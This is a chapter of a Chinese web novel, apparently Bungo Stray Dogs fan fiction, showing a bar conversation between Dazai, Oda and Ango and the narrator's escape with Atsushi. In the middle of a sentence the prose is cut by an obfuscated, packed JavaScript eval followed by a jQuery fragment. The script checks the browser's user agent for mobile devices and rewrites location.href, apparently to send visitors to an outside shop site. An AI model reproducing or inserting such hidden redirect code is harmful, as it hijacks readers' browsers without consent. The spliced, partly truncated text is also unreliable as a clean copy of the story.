83.拭目以待
作品:《我在横滨当建筑恢复师》 我站在旁边给他的心理活动配音:织田作从来都没这样对我!都怪这个可恶的家伙!
呵,小鬼。
“织田作先生,措辞太严肃了……”安吾连忙开口。
“没关系的,没关系的,”太宰治忽然又展露出一个明媚的笑脸,很宽容地说,“既然是宣布要杀掉织田作的人,这份勇气倒也值得来这喝一杯——反正也喝不了几杯了。”
安吾看透一切:“你已经准备把她先送走了是吧!”
“不要这样,太宰。”织田作之助这样说。
太宰治和安吾先是一顿,纷纷惊讶地看向他。
作为好友,织田作之助向来是三人中界限最为分明的一个。
从不接受朋友的帮助,就算是喝酒闲聊,也很少会聊自己的事情。从不要求朋友去做什么。
“你要这样做”“你不许这样做”是绝对不可能出现在他嘴里的。
所以他对于太宰治说的这句话便显得格外罕见。
太宰治皱了皱眉,倒是没有刚才那样生气了。端起酒杯,搁在半空也不喝,就在灯光下微微晃荡着,圆球冰块磕碰在杯壁,发出咔嗒咔嗒的响声。
他盯着杯子里的冰块,好像沉迷在了那其中炫目的光彩中:“我说,织田作。你似乎对她很上心啊。”
织田作之助面无表情地看着他:“是这样吗?”
“确实挺明显的。对了,有一次我回本部述职的时候,好像看到你们两个在门口聊天。”安吾接道,“因为是两个同样面无表情的人在那里说话,乍一看还以为是什么机器人交流现场,回头率特别高。”
“那个女人不是出名的木讷吗?”太宰治依然盯着杯子,毫不在乎的样子,“你们能聊什么?”
织田作之助回想了片刻:“她问我为什么在这里扫地,我说因为地脏了。”
安吾噎了一下,追问:“然后呢?”
织田作之助平静无波的声音回荡在柔和的爵士乐中:“她问我为什么是我来扫地?我说因为其他人有别的事情要做。”
“她又问我不去做别的事情吗?我说我已经不做了。”
“这都什么跟什么。”安吾揉揉太阳穴,一副理解不能的样子。
织田作之助竟然赞同地点了点头:“确实有些混乱。我觉得,她自己也不知道她想问什么。”
太宰治突然说:“织田作很了解她的样子。”
织田作沉吟片刻,微微摇了摇头:“不,我并不了解她。只是她让我想起了曾经的我。”
他说:“只是因为不知道要做什么,又恰好擅长这种事情,于是就那样做了。直到某一天幡然醒悟,才发觉手上已经沾满了鲜血。”
在场两人表情或有惊讶,或有好奇,但都安静地听着。
织田作之助难得说了这么多话:“我能感觉到,她也是这样的状态:不知道想要做什么,也没有自己的目标,于是就这样浑浑噩噩地活在世界上。”
太宰治露出有些新奇的样子:“织田作想要帮助她吗?就像帮助曾经的你一样。”
织田作之助摇头。
“她不是我。”
“关于那位小姐我们这边也有些传闻。”
安吾说。通常来说,他所谓的传闻基本就是真实情报,
“她姓藤原,为了找到其母才留在横滨。所以也算是有自己的人生目标吧。”
太宰治意味不明地笑笑:“横滨的孤儿太多了。”
织田作之助面无表情地看着杯中酒水,没有说话。
太宰治问:“怎么了?”
安吾也看过去。织田作之助饮了口酒,才斟酌着开口。
“她的母亲,应当是位温柔的人。”
太宰治杯子里的冰块又是咔哒一声响。
“怎么突然这么说?”
“同样都是毫无方向的人,她却没有如我当初那般误入歧途,是个温柔的孩子。”织田作之助说,“能够生出那样孩子的母亲,若是没有出事,想必也是迫不得已才丢下她的。”
我和其余两人都怔愣许久。
半响,太宰治说话了,嗓音干巴巴的:“明明全横滨都知道,她是个毫无人情味的工具……你不知道,她……”
织田作之助却说:“她会是一个好孩子的。”
眼前景象如风雪一般消融,融化进深不见底的黑暗。在一切彻底静谧之前,太宰治的声音轻轻回荡。
“好吧,拭目以待吧。”
眼前的黑暗不断抖动着。
不对,是我在颠簸。
我下意识想睁开眼,又被刺入的阳光晃得闭了回去。手指有些陌生地动弹了两下,随后感受到身下正在晃动的后背。
能感受到对方已经在尽力减少运动的幅度了,只是速度太快,风迅疾地刮过脸颊,恍惚让人以为坐在摩托车上。
“白小姐,你醒啦!”
是老虎少年的声音。这孩子的感官已经这般敏锐了。
我还没有问发生了什么,他就已经先体贴的给我解释起来。
在我昏倒过去之后,天人五衰的成员便发动了恐怖袭击。
与此同时,曾经被我引走的异能者们也已经赶回,双方立刻发生了冲突。
在混乱时刻,由老虎少年带着我脱离战区,正在向着安全地带移动。
我刚撑起身,又被强烈的风压摁了回去,只能枕在中岛敦的背上说话。
“不把我交给特殊机关吗?”
中岛敦沉默了一下,平静开口:“不。”
“太宰治要求的?”
“太宰先生只对我说了一句:遵从自己的心。”
中岛敦侧头,微笑着说:“白小姐是个温柔的人,即便是与自己无关的人,也会为他们的境遇感到不平;即便是遭遇了那些事情,也没有伤害过任何一个人。所以,我想要相信你。”
这颗心简直炽热得过分。
我意味深长地说:“我可是给很多人都变回了小孩哦。”
中岛敦说:“可是你没要他们的命啊。”
我又道:“我还给芥川两拳,把人都打飞了。”
中岛敦:“那没事。”
我:“?”
中岛敦重重咳了咳:“肯定是那家伙先动的手吧。白小姐你本来就是正当防卫,只给了两拳已经很收敛了。”
可以这样算吗?我陷入了沉思。
沉思着,又听到中岛敦笑道:
“你并不憎恨我们,却还是冒着生命危险加入天人五衰,那么就只有一个可能:你是为了保护我们。”
我:“……”
可以这么理解的吗?
有没有一种可能,是我对于自己的实力很自信,能够将费奥多尔玩弄于鼓掌之中?
好吧,为了自己的脸面,我并没有将这句话说出来。
中岛敦用力跃起,跳上一个小二层楼楼顶,在上面飞速移动。
我观察了一番周围的景象,发现不知不觉他竟然要跑出市区了。
不愧是月下兽的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115367|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
异能者,一边跑,一边还有力气和我交代他们这段时间的功绩。
默尔索监狱遭到入侵,但是因为他们有所防范,所以并没有人员逃脱。
一开始坂口安吾说这是从公墓提取的信息时,所有人都不相信。但是随后赶来的西格玛也佐证了这一点,他们才加以防备。
除此以外,坂口安吾还在醒来的那片沙滩,使用异能提取到了有关天人五衰首领的关键性线索。
乱步通过超推理已经确认嫌疑人就是猎犬部队的总队长福地樱痴。
“我们爆发了惨烈的战斗,多亏港口黑手党的立原道造觉醒了异能,成功牵制住了那柄奇怪的剑,最终没有出现伤亡。”
虎少年头也不回地说:“这都多亏了你,白小姐。”
我沉默不语。
不否认有一些是我的特地为之,毕竟我对天人五衰也没什么好印象。但若说用心至此倒也不至于。
也不过是在扫墓的时候,偶然嘴碎两句罢了。我曾经和坂口安吾提出要替我扫墓,他若是有心前来补偿,那便是送他的报酬。
至于沙滩的情报,确实是我的刻意为之。天人五衰这个组织和我有仇,借着他们的手铲除而已。
若是之前的我,想必会为了这些操作暗自骄傲,得意洋洋。
不过现在的我只能苦笑一声。
剧情已经乱成这样了……真是自作自受。
哗啦。
大量血液从我的口鼻喷出,我剧烈呛咳着,感受到中岛敦呆滞停下,血液浇淌在虎少年的肩膀之上。
“咳咳……噗……咳咳咳……”
感觉身体被掏空。
这是我脑袋里面的第一想法。
“看来马上就能去陪明子了。”
这是我的第二个想法,不过很快我就否决了自己。
这是不可能的。就算人有灵魂,但我又不是人。
“白小姐?!”
中岛敦连忙停下,将我放到某家屋顶上面,手足无措地扶着我。
我坐在坚硬的瓦片上面,倚着中岛敦剧烈地咳嗽,几乎要将自己的内脏一并咳出来。血液滴滴答答地沿着斜顶淌下去。吸一口气,氧气都不知道跑到哪里,在空荡荡的躯体里乱撞。
而我还活着,只有这个时候我才清楚意识到我并不是人这一点。
中岛敦简直吓坏了,不断地唤着我的名字,还想带我去医院,被我拒绝了。
我艰难地撑起身体,中岛敦想过来搀扶,被我轻轻挥开。
现状不允许我们多休整,就这么一耽搁,后面的追兵很快便杀到我们面前。
有光破空而来,我嘴边的血还没擦干,后背便是一紧,接着整个人腾空而起,堪堪避过那道光芒凝成的刀刃。
几个黑色西装的人如鬼魅落到我们周围。
是港口黑手党的人。
森鸥外果然是个枭雄。我不失欣赏地想,在已经确定我不会再为横滨效力以后,便宁可承受风险直接击杀我。
随着为首那名女剑客的攻击,越来越多的异能向我们袭来。
中岛敦立刻挡在我身前,双手双脚已经化作老虎的模样,喉咙也滚出巨兽的凶吼。
然而没等他出手,那些直白的杀招,或无声息的影响,都在接近我们三米外通通消散,化作金色的光点飘荡。
“欸?”中岛敦发出呆呆的气音,比猫咪还要无害,转头看我。
好可爱。我想对他笑笑,却忍不住抽了口气。
好痛!

